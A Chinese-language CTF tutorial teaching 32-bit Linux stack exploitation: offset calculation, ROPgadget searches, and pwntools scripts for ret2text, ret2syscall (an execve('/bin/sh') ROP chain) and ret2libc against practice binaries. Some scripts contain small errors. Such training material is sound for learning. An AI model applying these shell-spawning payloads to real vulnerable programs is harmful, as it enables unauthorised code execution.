Linux PWN從入門到熟練

最近在複習pwn的一些知識。主要涉及到當堆棧開啟了保護的時候,我們不能夠直接將shellcode覆蓋到堆棧中執行,而需要利用程序其他部分的可執行的小片段來連接成最終的shellcode。此小片段就是gadgets。本文主要通過練習題的方式講述如何尋找gadgets,如何利用現有的工具來加速自己的pwn的效率。Gadgets的類型和難度也逐步變化。下面帶來手把手教你linux pwn。讓你的pwn技術從入門到熟練。練習題的難度逐步加大。

第一關

第一關的gadgets較為簡單,包含了一個直接可以利用的,可返回shell的函數。我們只要計算好覆蓋的偏移,將可返回shell函數的地址覆蓋到相應的位置即可以。程序下載:Pwn1

我們首先來查看一下該程序的保護情況,發現開啟了堆棧保護。即NX enabled。且是32bit的程序。因此需要在32位的linux環境下測試。

這裡涉及到一個工具,chechsec。該工具專門用來檢測程序中受保護的情況,我們可以根據程序受保護的情況來選擇對應的pwn策略。

下載以後,直接在命令行中建立符號鏈接就可以在terminal中直接使用了

sudo ln –sf checksec /usr/bin/checksec

接下來我們利用IDA查看一下程序的源代碼:

可以發現漏洞出現在gets裡面,gets函數存在緩衝區溢出漏洞,我們可以通過超長的字元串來覆蓋緩衝區,從而修改ROP。為了達到這個目的,我們需要首先計算,輸入的&s的堆棧地址位置距離堆棧的底部ebp的位置。Ebp的下一個地址,就是記錄了返回地址的位置。在32位的程序中,就是ebp+4。其中,Esp是棧頂指針,ebp是棧底指針。Esp -> ebp, 地址從小到大。小地址棧頂,大地址棧底。

我們有兩種方法可以得到s距離返回地址的偏移:徒手計算和利用patternoffset產生字元串。

首先第一種方法,徒手計算。我們利用gdb的輔助工具gef來輔助查看esp地址。注意,這裡需要按照這個輔助工具,gef,該工具會提供更加豐富的調試信息。包括堆棧信息,寄存器信息等。按照完畢之後,使用gdb –q *.elf執行就可以。

啟動的程序之後,我們在上述get函數的位置下斷點,即0x080486AE

可以看到 esp 為 0xbfffeed0,ebp為0xbfffef58,同時 s 相對於 esp 的索引為[esp+80h-64h]= [esp+0x1c]。所以s的地址為 0xbfffeeec,所以 s 相對於 ebp 的偏移為 0x6C(108),所以相對於返回地址的偏移為 0x6c+4(112)。

另外一種方法是利用patternoffset執行來計算。藉助到這個工具patternoffset。下載下來直接作為python腳本使用。利用下面的命令產生字元串到test的文件中:

python patternLocOffset.py -c -l 700 -f test

接著遠程IDA掛載調試,在程序的返回位置下斷點,即retn的位置。

它會在遠程的伺服器端等待我的輸入

~/ $ ./linux_server
IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017
Listening on 0.0.0.0:23946...
=========================================================
[1] Accepting connection from 192.168.110.1...
There is something amazing here, do you know anything?

在這個位置,我就把產生的pattern計算字元串複製進去。(注意,如果這裡始終沒有讓程序停下來讓你輸入對應的字元串進去的話,就斷開ubuntu的server,然後重新連接一下,就會停下來等待我們的字元串輸入)

接著,查看程序覆蓋的寄存器ebp的內容為0x41366441

再利用offset的腳本計算一下輸入的緩衝區地址距離ESP相差多少的位元組,相差的是108個位元組。ESP之後,存儲的就是返回的地址,所以要加上108+4=112位元組的偏移。

得到的結果和上面是一致的。

接下來,我們需要找到可以利用的系統調用函數。在IDA中搜索(alt+T)可以利用來的系統sh調用函數:

最後,將需要覆蓋的地址0x0804863A填入指定的位置覆蓋,在利用pwntools來驗證攻擊。這裡利用到了一個pwntools工具。推薦使用基於源代碼的安裝方式,可以更為方便。

安裝方式為:

cd ~
git clone https://github.com/aquynh/capstone
cd capstone
make
make install
cd ~
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install

驗證:

>>> import pwn
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
>>> pwn.asm("xor eax, eax")
1xc0

使用下面的腳本來驗證攻擊:

from pwn import *
pwn1 = process(./pwn1)
sh = 0x804863a
pwn1.sendline(A * (112) + p32(target))
pwn1.interactive()

第二關

在這一關中,沒有可以直接利用的system()函數讓我們直接調用了。我們可以學習使用系統調用來進行操作。系統調用的背景知識在這裡。

Pwn

Syscall的函數調用規範為: execve(「/bin/sh」, 0,0);

它對應的彙編代碼為:

pop eax, # 系統調用號載入, execve為0xb
pop ebx, # 第一個參數, /bin/sh的string
pop ecx, # 第二個參數,0
pop edx, # 第三個參數,0
int 0x80, # 執行系統調用

同樣的,首先利用工具來查看程序保護情況:

查看程序的代碼,發現同樣是gets造成的函數溢出。

因此我們這裡需要人為的構造了。這裡需要用到一個工具,來查到能夠控制eax,ebx,ecx,edx。就是ROPgadget。下載之後,直接安裝

python setup.py install

就可以使用了。執行命令,來查找對一個的彙編指令:

ROPgadget --binary ret2syscall --only pop|ret | grep "eax"

其中—binary 表示目標二進位的路徑,—only 表示只顯示指定的彙編語句, grep可以展示想要的寄存器。

針對eax選擇,0x080bb196 : pop eax ; ret

針對ebx和ecx選擇,0x0806eb91 : pop ecx ; pop ebx ; ret

針對edx,選擇,0x0806eb6a : pop edx ; ret

執行命令,篩選int 0x80的系統調用, 選擇:0x08049421

ROPgadget --binary ret2syscall --only int

執行命令,篩選字元串,得到:0x080be408

ROPgadget --binary ret2syscall --string /bin/sh

這裡選擇的每一個gadgets都含有ret是為了能夠使得程序自動持續的選擇堆棧中的指令依次執行。在構造這些gadgets之前,我們通過下面的堆棧指針移動圖,來分析一下eip指針的移動,以及對應獲取的數據內容。ret指令可以理解成去棧頂的數據作為下次跳轉的位置。即,

eip = [esp];

esp = esp+4;

或者簡單理解成: pop eip;

上圖中,左邊顯示的堆棧的內容,右邊是對應的代碼。數字表示的是,運行到特定的彙編指令的時候,esp指針的位置。總結下來,我們通過pop指令來移動esp指針獲取數據,比如字元串/bin/sh,我們通過ret指令來同樣移動esp指針來獲取下一條執行的命令。這樣,我們就能夠在不需要與堆棧中執行程序的情況下,順利的控制程序控制流的執行。

最終形成的shellcode利用pwntools的代碼為:

#!/usr/bin/env python
from pwn import *

sh = process(./ret2syscall)

pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ret = 0x0806eb6a
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
[A * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0,binsh, pop_edx_ret,0, int_0x80])
sh.sendline(payload)
sh.interactive()

第三關

這一關中,我們主要通過導入函數裡面的system(「/bin/sh」)函數來完成調用。

Pwn3

發現它的保護也是類似的。該程序與之前類似,都是在gets函數存在漏洞。

首先查找system函數是否存在,利用IDA查看。

查看導入函數表,發現有system的外部調用函數在列表裡面,

從而確定地址為0x08048460。

在利用下面的命令查找」/bin/sh」的字元串,確定了字元串的地址為0x08048720

ROPgadget --binary ret2libc1 --string "/bin/sh"

那麼就可以依葫蘆畫瓢的構造shellcode了。

#!/usr/bin/env python
from pwn import *

sh = process(./ret2libc1)

system_plt = 0x08048460
sh_addr = 0x8048720
payload = flat([a * 112, system_plt, 0xabcdabcd, sh_addr])
sh.sendline(payload)

sh.interactive()

這裡解釋一下,為什麼會有4個位元組空餘的部分。

這裡的部分,在正常調用system函數的時候,堆棧位置的system_plt之後的內容為system函數的返回地址,在之後才是新的堆棧的棧頂位置,因此在system_plt和sh_addr之間增加了4個字元來進行填充。

練習題:pwn4

下面留下一道題大家自己練習,該題目中,含有導入函數system(),但是沒有了字元串/bin/sh,需要自己想辦法獲取這個字元串。


推薦閱讀:

TAG:Linux | pwn | 信息安全 |